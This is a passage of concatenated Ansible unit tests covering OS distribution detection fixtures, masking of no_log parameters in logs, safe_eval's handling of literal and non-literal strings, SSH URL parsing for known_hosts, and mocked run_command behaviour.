SUPPORT_URL="http://www.debian.org/support/"
BUG_REPORT_URL="http://bugs.debian.org/"
"""},
        'platform.dist': ('debian', '7.9', ''),
        'result': {'distribution': u'Debian',
                   'distribution_major_version': u'7',
                   'distribution_release': u'wheezy',
                   'distribution_version': u'7.9'}
    },
    {
        "platform.dist": [
            "Ubuntu",
            "16.04",
            "xenial"
        ],
        "input": {
            "/etc/os-release": "NAME=\"Ubuntu\"\nVERSION=\"16.04 LTS (Xenial Xerus)\"\nID=ubuntu\nID_LIKE=debian\nPRETTY_NAME=\"Ubuntu 16.04 LTS\"\nVERSION_ID=\"16.04\"\nHOME_URL=\"http://www.ubuntu.com/\"\nSUPPORT_URL=\"http://help.ubuntu.com/\"\nBUG_REPORT_URL=\"http://bugs.launchpad.net/ubuntu/\"\nUBUNTU_CODENAME=xenial\n",
            "/etc/lsb-release": "DISTRIB_ID=Ubuntu\nDISTRIB_RELEASE=16.04\nDISTRIB_CODENAME=xenial\nDISTRIB_DESCRIPTION=\"Ubuntu 16.04 LTS\"\n"
        },
        "name": "Ubuntu 16.04",
        "result": {
            "distribution_release": "xenial",
            "distribution": "Ubuntu",
            "distribution_major_version": "16",
            "distribution_version": "16.04"
        }
    },
    {
        'name': "Ubuntu 14.04",
        'input': {'/etc/lsb-release': """DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.4 LTS"
""",
                  '/etc/os-release': """NAME="Ubuntu"
VERSION="14.04.4 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.4 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
"""},
        'platform.dist': ('Ubuntu', '14.04', 'trusty'),
        'result': {'distribution': u'Ubuntu',
                   'distribution_major_version': u'14',
                   'distribution_release': u'trusty',
                   'distribution_version': u'14.04'}
    },
    {
        'name': "Ubuntu 12.04",
        'input': {'/etc/lsb-release': """DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.5 LTS"
""",
                  '/etc/os-release': """NAME="Ubuntu"
VERSION="12.04.5 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.5 LTS)"
VERSION_ID="12.04"
"""},
        'platform.dist': ('Ubuntu', '12.04', 'precise'),
        'result': {'distribution': u'Ubuntu',
                   'distribution_major_version': u'12',
                   'distribution_release': u'precise',
                   'distribution_version': u'12.04'}
    },
    {
        'name': 'Core OS',
        'input': {
            '/etc/os-release':"""
NAME=CoreOS
ID=coreos
VERSION=976.0.0
VERSION_ID=976.0.0
BUILD_ID=2016-03-03-2324
PRETTY_NAME="CoreOS 976.0.0 (Coeur Rouge)"
ANSI_COLOR="1;32"
HOME_URL="https://coreos.com/"
BUG_REPORT_URL="https://github.com/coreos/bugs/issues"
            """,
            '/etc/lsb-release':"""DISTRIB_ID=CoreOS
DISTRIB_RELEASE=976.0.0
DISTRIB_CODENAME="Coeur Rouge"
DISTRIB_DESCRIPTION="CoreOS 976.0.0 (Coeur Rouge)"
""",
        },
        'platform.dist': ('', '', ''),
        'result' : {
            "distribution": "CoreOS",
            "distribution_major_version": "NA",
            "distribution_release": "NA",
            "distribution_version": "976.0.0",
        }
    },
    # Solaris and derivatives: https://gist.github.com/natefoo/7af6f3d47bb008669467
    {
        "name": "SmartOS Global Zone",
        "uname_v": "joyent_20160330T234717Z",
        "result": {
            "distribution_release": "SmartOS 20160330T234717Z x86_64",
            "distribution": "SmartOS",
            "distribution_version": "joyent_20160330T234717Z"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                       SmartOS 20160330T234717Z x86_64\n              Copyright 2010 Sun Microsystems, Inc.  All Rights Reserved.\n              Copyright 2010-2012 Joyent, Inc.  All Rights Reserved.\n                        Use is subject to license terms.\n\n   Built with the following components:\n\n[\n        { \"repo\": \"smartos-live\", \"branch\": \"release-20160331\", \"rev\": \"a77c410f2afe6dc9853a915733caec3609cc50f1\", \"commit_date\": \"1459340323\", \"url\": \"git@github.com:joyent/smartos-live.git\" }\n        , { \"repo\": \"illumos-joyent\", \"branch\": \"release-20160331\", \"rev\": \"ab664c06caf06e9ce7586bff956e7709df1e702e\", \"commit_date\": \"1459362533\", \"url\": \"/root/data/jenkins/workspace/smartos/MG/build/illumos-joyent\" }\n        , { \"repo\": \"illumos-extra\", \"branch\": \"release-20160331\", \"rev\": \"cc723855bceace3df7860b607c9e3827d47e0ff4\", \"commit_date\": \"1458153188\", \"url\": \"/root/data/jenkins/workspace/smartos/MG/build/illumos-extra\" }\n        , { \"repo\": \"kvm\", \"branch\": \"release-20160331\", \"rev\": \"a8befd521c7e673749c64f118585814009fe4b73\", \"commit_date\": \"1450081968\", \"url\": \"/root/data/jenkins/workspace/smartos/MG/build/illumos-kvm\" }\n        , { \"repo\": \"kvm-cmd\", \"branch\": \"release-20160331\", \"rev\": \"c1a197c8e4582c68739ab08f7e3198b2392c9820\", \"commit_date\": \"1454723558\", \"url\": \"/root/data/jenkins/workspace/smartos/MG/build/illumos-kvm-cmd\" }\n        , { \"repo\": \"mdata-client\", \"branch\": \"release-20160331\", \"rev\": \"58158c44603a3316928975deccc5d10864832770\", \"commit_date\": \"1429917227\", \"url\": \"/root/data/jenkins/workspace/smartos/MG/build/mdata-client\" }\n]\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "SmartOS Zone",
        "uname_v": "joyent_20160330T234717Z",
        "result": {
            "distribution_release": "SmartOS x86_64",
            "distribution": "SmartOS",
            "distribution_version": "14.3.0"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                                SmartOS x86_64\n              Copyright 2010 Sun Microsystems, Inc.  All Rights Reserved.\n              Copyright 2010-2013 Joyent, Inc.  All Rights Reserved.\n                        Use is subject to license terms.\n                   See joyent_20141002T182809Z for assembly date and time.\n",
            "/etc/product": "Name: Joyent Instance\nImage: base64 14.3.0\nDocumentation: http://wiki.joyent.com/jpc2/Base+Instance\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "OpenIndiana",
        "uname_v": "oi_151a9",
        "result": {
            "distribution_release": "OpenIndiana Development oi_151.1.9 X86 (powered by illumos)",
            "distribution": "OpenIndiana",
            "distribution_version": "oi_151a9"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "             OpenIndiana Development oi_151.1.9 X86 (powered by illumos)\n        Copyright 2011 Oracle and/or its affiliates. All rights reserved.\n                        Use is subject to license terms.\n                           Assembled 17 January 2014\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "OmniOS",
        "uname_v": "omnios-10b9c79",
        "result": {
            "distribution_release": "OmniOS v11 r151012",
            "distribution": "OmniOS",
            "distribution_version": "r151012"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "  OmniOS v11 r151012\n  Copyright 2014 OmniTI Computer Consulting, Inc. All rights reserved.\n  Use is subject to license terms.\n\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "Nexenta 3",
        "uname_v": "NexentaOS_134f",
        "result": {
            "distribution_release": "Open Storage Appliance v3.1.6",
            "distribution": "Nexenta",
            "distribution_version": "3.1.6"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                         Open Storage Appliance v3.1.6\n           Copyright (c) 2014 Nexenta Systems, Inc.  All Rights Reserved.\n           Copyright (c) 2011 Oracle.  All Rights Reserved.\n                         Use is subject to license terms.\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "Nexenta 4",
        "uname_v": "NexentaOS_4:cd604cd066",
        "result": {
            "distribution_release": "Open Storage Appliance 4.0.3-FP2",
            "distribution": "Nexenta",
            "distribution_version": "4.0.3-FP2"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                        Open Storage Appliance 4.0.3-FP2\n           Copyright (c) 2014 Nexenta Systems, Inc.  All Rights Reserved.\n           Copyright (c) 2010 Oracle.  All Rights Reserved.\n                        Use is subject to license terms.\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "Solaris 10",
        "uname_v": "Generic_141445-09",
        "result": {
            "distribution_release": "Solaris 10 10/09 s10x_u8wos_08a X86",
            "distribution": "Solaris",
            "distribution_version": "10"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                       Solaris 10 10/09 s10x_u8wos_08a X86\n           Copyright 2009 Sun Microsystems, Inc.  All Rights Reserved.\n                        Use is subject to license terms.\n                           Assembled 16 September 2009\n"
        },
        "platform.system": "SunOS"
    },
    {
        "name": "Solaris 11",
        "uname_v": "11.0",
        "result": {
            "distribution_release": "Oracle Solaris 11 11/11 X86",
            "distribution": "Solaris",
            "distribution_version": "11"
        },
        "platform.dist": [
            "",
            "",
            ""
        ],
        "input": {
            "/etc/release": "                           Oracle Solaris 11 11/11 X86\n  Copyright (c) 1983, 2011, Oracle and/or its affiliates.  All rights reserved.\n                            Assembled 18 October 2011\n"
        },
        "platform.system": "SunOS"
    },

{
    "name": "Solaris 11.3",
    "platform.dist": [
        "",
        "",
        ""
    ],
    "input": {
        "/etc/release": "                             Oracle Solaris 11.3 X86\n  Copyright (c) 1983, 2015, Oracle and/or its affiliates.  All rights reserved.\n                            Assembled 06 October 2015\n"
    },
    "platform.system": "SunOS",
    "result": {
        "distribution_release": "Oracle Solaris 11.3 X86",
        "distribution": "Solaris",
        "distribution_version": "11.3"
    }
},

{
    "name": "Solaris 10",
    "platform.dist": [
        "",
        "",
        ""
    ],
    "input": {
        "/etc/release": "                    Oracle Solaris 10 1/13 s10x_u11wos_24a X86\n  Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.\n                            Assembled 17 January 2013\n"
    },
    "platform.system": "SunOS",
    "result": {
        "distribution_release": "Oracle Solaris 10 1/13 s10x_u11wos_24a X86",
        "distribution": "Solaris",
        "distribution_version": "10"
    }
},

{
    "name": "Fedora 22",
    "platform.dist": [
        "fedora",
        "22",
        "Twenty Two"
    ],
    "input": {
        "/etc/redhat-release": "Fedora release 22 (Twenty Two)\n",
        "/etc/os-release": "NAME=Fedora\nVERSION=\"22 (Twenty Two)\"\nID=fedora\nVERSION_ID=22\nPRETTY_NAME=\"Fedora 22 (Twenty Two)\"\nANSI_COLOR=\"0;34\"\nCPE_NAME=\"cpe:/o:fedoraproject:fedora:22\"\nHOME_URL=\"https://fedoraproject.org/\"\nBUG_REPORT_URL=\"https://bugzilla.redhat.com/\"\nREDHAT_BUGZILLA_PRODUCT=\"Fedora\"\nREDHAT_BUGZILLA_PRODUCT_VERSION=22\nREDHAT_SUPPORT_PRODUCT=\"Fedora\"\nREDHAT_SUPPORT_PRODUCT_VERSION=22\nPRIVACY_POLICY_URL=https://fedoraproject.org/wiki/Legal:PrivacyPolicy\n",
        "/etc/system-release": "Fedora release 22 (Twenty Two)\n"
    },
    "result": {
        "distribution_release": "Twenty Two",
        "distribution": "Fedora",
        "distribution_major_version": "22",
        "distribution_version": "22"
    }
},
{
    "platform.dist": [
        "fedora",
        "25",
        "Rawhide"
    ],
    "input": {
        "/etc/redhat-release": "Fedora release 25 (Rawhide)\n",
        "/etc/os-release": "NAME=Fedora\nVERSION=\"25 (Workstation Edition)\"\nID=fedora\nVERSION_ID=25\nPRETTY_NAME=\"Fedora 25 (Workstation Edition)\"\nANSI_COLOR=\"0;34\"\nCPE_NAME=\"cpe:/o:fedoraproject:fedora:25\"\nHOME_URL=\"https://fedoraproject.org/\"\nBUG_REPORT_URL=\"https://bugzilla.redhat.com/\"\nREDHAT_BUGZILLA_PRODUCT=\"Fedora\"\nREDHAT_BUGZILLA_PRODUCT_VERSION=rawhide\nREDHAT_SUPPORT_PRODUCT=\"Fedora\"\nREDHAT_SUPPORT_PRODUCT_VERSION=rawhide\nPRIVACY_POLICY_URL=https://fedoraproject.org/wiki/Legal:PrivacyPolicy\nVARIANT=\"Workstation Edition\"\nVARIANT_ID=workstation\n",
        "/etc/system-release": "Fedora release 25 (Rawhide)\n"
    },
    "name": "Fedora 25",
    "result": {
        "distribution_release": "Rawhide",
        "distribution": "Fedora",
        "distribution_major_version": "25",
        "distribution_version": "25"
    }
},


]

@unittest.skipIf(sys.version_info[0] >= 3, "Python 3 is not supported on targets (yet)")
def test_distribution_version():
    """tests the distribution parsing code of the Facts class

    testsets have
    * a name (for output/debugging only)
    * input files that are faked
      * those should be complete and also include "irrelevant" files that might be mistaken as coming from other distributions
      * all files that are not listed here are assumed to not exist at all
    * the output of pythons platform.dist()
    * results for the ansible variables distribution*
    """

    # needs to be in here, because the import fails with python3 still
    import ansible.module_utils.facts as facts

    from ansible.module_utils import basic

    args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))
    with swap_stdin_and_argv(stdin_data=args):
        module = basic.AnsibleModule(argument_spec=dict())

        for t in TESTSETS:
            # run individual tests via generator
            # set nicer stdout output for nosetest
            _test_one_distribution.description = "check distribution_version for %s" % t['name']
            yield _test_one_distribution, facts, module, t

def _test_one_distribution(facts, module, testcase):
    """run the test on one distribution testcase

    * prepare some mock functions to get the testdata in
    * run Facts()
    * compare with the expected output
    """

    def mock_get_file_content(fname, default=None, strip=True):
        """give fake content if it exists, otherwise pretend the file is empty"""
        data = default
        if fname in testcase['input']:
            # for debugging
            print('faked '+fname+' for '+testcase['name'])
            data = testcase['input'][fname].strip()
        if strip and data is not None:
            data = data.strip()
        return data

    def mock_get_uname_version(module):
        return testcase.get('uname_v', None)

    def mock_path_exists(fname):
        return fname in testcase['input']

    def mock_path_getsize(fname):
        if fname in testcase['input']:
            # the len is not used, but why not be honest if you can be?
            return len(testcase['input'][fname])
        else:
            return 0

    def mock_platform_system():
        return testcase.get('platform.system', 'Linux')

    @patch('ansible.module_utils.facts.get_file_content', mock_get_file_content)
    @patch('ansible.module_utils.facts.get_uname_version', mock_get_uname_version)
    @patch('os.path.exists', mock_path_exists)
    @patch('os.path.getsize', mock_path_getsize)
    @patch('platform.dist', lambda: testcase['platform.dist'])
    @patch('platform.system', mock_platform_system)
    def get_facts(testcase):
        return facts.Facts(module).populate()

    generated_facts = get_facts(testcase)

    # testcase['result'] has a list of variables and values it expects Facts() to set
    for key, val in testcase['result'].items():
        assert key in generated_facts
        msg = 'Comparing value of %s on %s, should: %s, is: %s' %\
            (key, testcase['name'], val, generated_facts[key])
        assert generated_facts[key] == val, msg






# -*- coding: utf-8 -*-
# (c) 2016, James Cammarata <jimi@sngx.net>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import sys
import json

from units.mock.procenv import swap_stdin_and_argv

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import MagicMock


class TestModuleUtilsBasic(unittest.TestCase):
    @unittest.skipIf(sys.version_info[0] >= 3, "Python 3 is not supported on targets (yet)")
    def test_module_utils_basic__log_invocation(self):
        with swap_stdin_and_argv(stdin_data=json.dumps(
            dict(
                ANSIBLE_MODULE_ARGS=dict(
                    foo=False, bar=[1,2,3], bam="bam", baz=u'baz'),
                ))):
            from ansible.module_utils import basic

            # test basic log invocation
            am = basic.AnsibleModule(
                argument_spec=dict(
                    foo = dict(default=True, type='bool'),
                    bar = dict(default=[], type='list'),
                    bam = dict(default="bam"),
                    baz = dict(default=u"baz"),
                    password = dict(default=True),
                    no_log = dict(default="you shouldn't see me", no_log=True),
                ),
            )

            am.log = MagicMock()
            am._log_invocation()

            # Message is generated from a dict so it will be in an unknown order.
            # have to check this manually rather than with assert_called_with()
            args = am.log.call_args[0]
            self.assertEqual(len(args), 1)
            message = args[0]

            self.assertEqual(len(message), len('Invoked with bam=bam bar=[1, 2, 3] foo=False baz=baz no_log=NOT_LOGGING_PARAMETER password=NOT_LOGGING_PASSWORD'))
            self.assertTrue(message.startswith('Invoked with '))
            self.assertIn(' bam=bam', message)
            self.assertIn(' bar=[1, 2, 3]', message)
            self.assertIn(' foo=False', message)
            self.assertIn(' baz=baz', message)
            self.assertIn(' no_log=NOT_LOGGING_PARAMETER', message)
            self.assertIn(' password=NOT_LOGGING_PASSWORD', message)

            kwargs = am.log.call_args[1]
            self.assertEqual(kwargs,
                    dict(log_args={
                        'foo': 'False',
                        'bar': '[1, 2, 3]',
                        'bam': 'bam',
                        'baz': 'baz',
                        'password': 'NOT_LOGGING_PASSWORD',
                        'no_log': 'NOT_LOGGING_PARAMETER',
                    })
                )






# -*- coding: utf-8 -*-
# (c) 2015-2016, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import sys
import json

from ansible.compat.tests import unittest
from units.mock.procenv import ModuleTestCase
from units.mock.generator import add_method


# Strings that should be converted into a typed value
VALID_STRINGS = (
        [("'a'", 'a')],
        [("'1'", '1')],
        [("1", 1)],
        [("True", True)],
        [("False", False)],
        [("{}", {})],
        )

# Passing things that aren't strings should just return the object
NONSTRINGS = (
        [({'a':1}, {'a':1})],
        )

# These strings are not basic types.  For security, these should not be
# executed.  We return the same string and get an exception for some
INVALID_STRINGS = (
        [("a=1", "a=1", SyntaxError)],
        [("a.foo()", "a.foo()", None)],
        [("import foo", "import foo", None)],
        [("__import__('foo')", "__import__('foo')", ValueError)],
        )


def _check_simple_types(self, code, expected):
    # test some basic usage for various types
    self.assertEqual(self.am.safe_eval(code), expected)

def _check_simple_types_with_exceptions(self, code, expected):
    # Test simple types with exceptions requested
    self.assertEqual(self.am.safe_eval(code, include_exceptions=True), (expected, None))

def _check_invalid_strings(self, code, expected):
    self.assertEqual(self.am.safe_eval(code), expected)

def _check_invalid_strings_with_exceptions(self, code, expected, exception):
    res = self.am.safe_eval("a=1", include_exceptions=True)
    self.assertEqual(res[0], "a=1")
    self.assertEqual(type(res[1]), SyntaxError)

@add_method(_check_simple_types, *VALID_STRINGS)
@add_method(_check_simple_types, *NONSTRINGS)
@add_method(_check_simple_types_with_exceptions, *VALID_STRINGS)
@add_method(_check_simple_types_with_exceptions, *NONSTRINGS)
@add_method(_check_invalid_strings, *[[i[0][0:-1]] for i in INVALID_STRINGS])
@add_method(_check_invalid_strings_with_exceptions, *INVALID_STRINGS)
class TestSafeEval(ModuleTestCase):

    def setUp(self):
        super(TestSafeEval, self).setUp()

        from ansible.module_utils import basic
        self.old_ansible_args = basic._ANSIBLE_ARGS

        basic._ANSIBLE_ARGS = None
        self.am = basic.AnsibleModule(
            argument_spec=dict(),
        )

    def tearDown(self):
        super(TestSafeEval, self).tearDown()

        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = self.old_ansible_args






# -*- coding: utf-8 -*-
# (c) 2015, Michael Scherer <mscherer@redhat.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from ansible.compat.tests import unittest
from ansible.module_utils import known_hosts

class TestAnsibleModuleKnownHosts(unittest.TestCase):
    urls = {
        'ssh://one.example.org/example.git':
            {'is_ssh_url': True, 'get_fqdn': 'one.example.org'},
        'ssh+git://two.example.org/example.git':
            {'is_ssh_url': True, 'get_fqdn': 'two.example.org'},
        'rsync://three.example.org/user/example.git':
            {'is_ssh_url': False, 'get_fqdn': 'three.example.org'},
        'git@four.example.org:user/example.git':
            {'is_ssh_url': True, 'get_fqdn': 'four.example.org'},
        'git+ssh://five.example.org/example.git':
            {'is_ssh_url': True, 'get_fqdn': 'five.example.org'},
        'ssh://six.example.org:21/example.org':
            {'is_ssh_url': True, 'get_fqdn': 'six.example.org'},
        'ssh://[2001:DB8::abcd:abcd]/example.git':
            {'is_ssh_url': True, 'get_fqdn': '[2001:DB8::abcd:abcd]'},
        'ssh://[2001:DB8::abcd:abcd]:22/example.git':
            {'is_ssh_url': True, 'get_fqdn': '[2001:DB8::abcd:abcd]'},
        'username@[2001:DB8::abcd:abcd]/example.git':
            {'is_ssh_url': True, 'get_fqdn': '[2001:DB8::abcd:abcd]'},
        'username@[2001:DB8::abcd:abcd]:22/example.git':
            {'is_ssh_url': True, 'get_fqdn': '[2001:DB8::abcd:abcd]'},
    }

    def test_is_ssh_url(self):
        for u in self.urls:
            self.assertEqual(known_hosts.is_ssh_url(u), self.urls[u]['is_ssh_url'])

    def test_get_fqdn(self):
        for u in self.urls:
            self.assertEqual(known_hosts.get_fqdn(u), self.urls[u]['get_fqdn'])









# -*- coding: utf-8 -*-
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import errno
import json
import sys
import time
from io import BytesIO, StringIO

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import call, MagicMock, Mock, patch, sentinel

from units.mock.procenv import swap_stdin_and_argv

import ansible.module_utils.basic

class OpenBytesIO(BytesIO):
    """BytesIO with dummy close() method

    So that you can inspect the content after close() was called.
    """

    def close(self):
        pass


@unittest.skipIf(sys.version_info[0] >= 3, "Python 3 is not supported on targets (yet)")
class TestAnsibleModuleRunCommand(unittest.TestCase):
    def setUp(self):
        self.cmd_out = {
            # os.read() is returning 'bytes', not strings
            sentinel.stdout: BytesIO(),
            sentinel.stderr: BytesIO(),
        }

        def mock_os_read(fd, nbytes):
            return self.cmd_out[fd].read(nbytes)

        def mock_select(rlist, wlist, xlist, timeout=1):
            return (rlist, [], [])

        def mock_os_chdir(path):
            if path == '/inaccessible':
                raise OSError(errno.EPERM, "Permission denied: '/inaccessible'")

        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

        ansible.module_utils.basic._ANSIBLE_ARGS = None
        self.module = ansible.module_utils.basic.AnsibleModule(argument_spec=dict())
        self.module.fail_json = MagicMock(side_effect=SystemExit)

        self.os = patch('ansible.module_utils.basic.os').start()
        self.os.path.expandvars.side_effect = lambda x: x
        self.os.path.expanduser.side_effect = lambda x: x
        self.os.environ = {'PATH': '/bin'}
        self.os.getcwd.return_value = '/home/foo'
        self.os.path.isdir.return_value = True
        self.os.chdir.side_effect = mock_os_chdir
        self.os.read.side_effect = mock_os_read

        self.subprocess = patch('ansible.module_utils.basic.subprocess').start()
        self.cmd = Mock()
        self.cmd.returncode = 0
        self.cmd.stdin = OpenBytesIO()
        self.cmd.stdout.fileno.return_value = sentinel.stdout
        self.cmd.stderr.fileno.return_value = sentinel.stderr
        self.subprocess.Popen.return_value = self.cmd

        self.select = patch('ansible.module_utils.basic.select').start()
        self.select.select.side_effect = mock_select

        self.addCleanup(patch.stopall)


    def tearDown(self):
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)

    def test_list_as_args(self):
        self.module.run_command(['/bin/ls', 'a', ' b', 'c '])
        self.assertTrue(self.subprocess.Popen.called)
        args, kwargs = self.subprocess.Popen.call_args
        self.assertEqual(args, (['/bin/ls', 'a', ' b', 'c '], ))
        self.assertEqual(kwargs['shell'], False)

    def test_str_as_args(self):
        self.module.run_command('/bin/ls a " b" "c "')
        self.assertTrue(self.subprocess.Popen.called)
        args, kwargs = self.subprocess.Popen.call_args
        self.assertEqual(args, (['/bin/ls', 'a', ' b', 'c '], ))
        self.assertEqual(kwargs['shell'], False)

    def test_tuple_as_args(self):
        self.assertRaises(SystemExit, self.module.run_command, ('ls', '/'))
        self.assertTrue(self.module.fail_json.called)

    def test_unsafe_shell(self):
        self.module.run_command('ls a " b" "c "', use_unsafe_shell=True)
        self.assertTrue(self.subprocess.Popen.called)
        args, kwargs = self.subprocess.Popen.call_args
        self.assertEqual(args, ('ls a " b" "c "', ))
        self.assertEqual(kwargs['shell'], True)

    def test_cwd(self):
        self.os.getcwd.return_value = '/old'
        self.module.run_command('/bin/ls', cwd='/new')
        self.assertEqual(self.os.chdir.mock_calls,
                         [call('/new'), call('/old'), ])

    def test_cwd_not_a_dir(self):
        self.os.getcwd.return_value = '/old'
        self.os.path.isdir.side_effect = lambda d: d != '/not-a-dir'
        self.module.run_command('/bin/ls', cwd='/not-a-dir')
        self.assertEqual(self.os.chdir.mock_calls, [call('/old'), ])

    def test_cwd_inaccessible(self):
        self.assertRaises(SystemExit, self.module.run_command, '/bin/ls', cwd='/inaccessible')
        self.assertTrue(self.module.fail_json.called)
        args, kwargs = self.module.fail_json.call_args
        self.assertEqual(kwargs['rc'], errno.EPERM)

    def test_prompt_bad_regex(self):
        self.assertRaises(SystemExit, self.module.run_command, 'foo', prompt_regex='[pP)assword:')
        self.assertTrue(self.module.fail_json.called)

    def test_prompt_no_match(self):
        self.cmd_out[sentinel.stdout] = BytesIO(b'hello')
        (rc, _, _) = self.module.run_command('foo', prompt_regex='[pP]assword:')
        self.assertEqual(rc, 0)

    def test_prompt_match_wo_data(self):
        self.cmd_out[sentinel.stdout] = BytesIO(b'Authentication required!\nEnter password: ')
        (rc, _, _) = self.module.run_command('foo', prompt_regex=r'[pP]assword:', data=None)
        self.assertEqual(rc, 257)

    def test_check_rc_false(self):
        self.cmd.returncode = 1
        (rc, _, _) = self.module.run_command('/bin/false', check_rc=False)
        self.assertEqual(rc, 1)

    def test_check_rc_true(self):
        self.cmd.returncode = 1
        self.assertRaises(SystemExit, self.module.run_command, '/bin/false', check_rc=True)
        self.assertTrue(self.module.fail_json.called)
        args, kwargs = self.module.fail_json.call_args
        self.assertEqual(kwargs['rc'], 1)

    def test_text_stdin(self):
        (rc, stdout, stderr) = self.module.run_command('/bin/foo', data='hello world')
        self.assertEqual(self.cmd.stdin.getvalue(), b'hello world\n')

    def test_ascii_stdout(self):
        self.cmd_out[sentinel.stdout] = BytesIO(b'hello')
        (rc, stdout, stderr) = self.module.run_command('/bin/cat hello.txt')
        self.assertEqual(rc, 0)
        self.assertEqual(stdout, b'hello')

    def test_utf8_output(self):
        self.cmd_out[sentinel.stdout] = BytesIO(u'Žarn§'.encode('utf-8'))
        self.cmd_out[sentinel.stderr] = BytesIO(u'لرئيسية'.encode('utf-8'))
        (rc, stdout, stderr) = self.module.run_command('/bin/something_ugly')
        self.assertEqual(rc, 0)
        self.assertEqual(stdout.decode('utf-8'), u'Žarn§')
        self.assertEqual(stderr.decode('utf-8'), u'لرئيسية')







# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import copy
import json
import sys

from ansible.compat.tests import unittest
from units.mock.procenv import swap_stdin_and_argv, swap_stdout

from ansible.module_utils import basic


empty_invocation = {u'module_args': {}}

@unittest.skipIf(sys.version_info[0] >= 3, "Python 3 is not supported on targets (yet)")
class TestAnsibleModuleExitJson(unittest.TestCase):
    def setUp(self):
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))
        self.stdin_swap_ctx = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap_ctx.__enter__()

        # since we can't use context managers and "with" without overriding run(), call them directly
        self.stdout_swap_ctx = swap_stdout()
        self.fake_stream = self.stdout_swap_ctx.__enter__()

        basic._ANSIBLE_ARGS = None
        self.module = basic.AnsibleModule(argument_spec=dict())

    def tearDown(self):
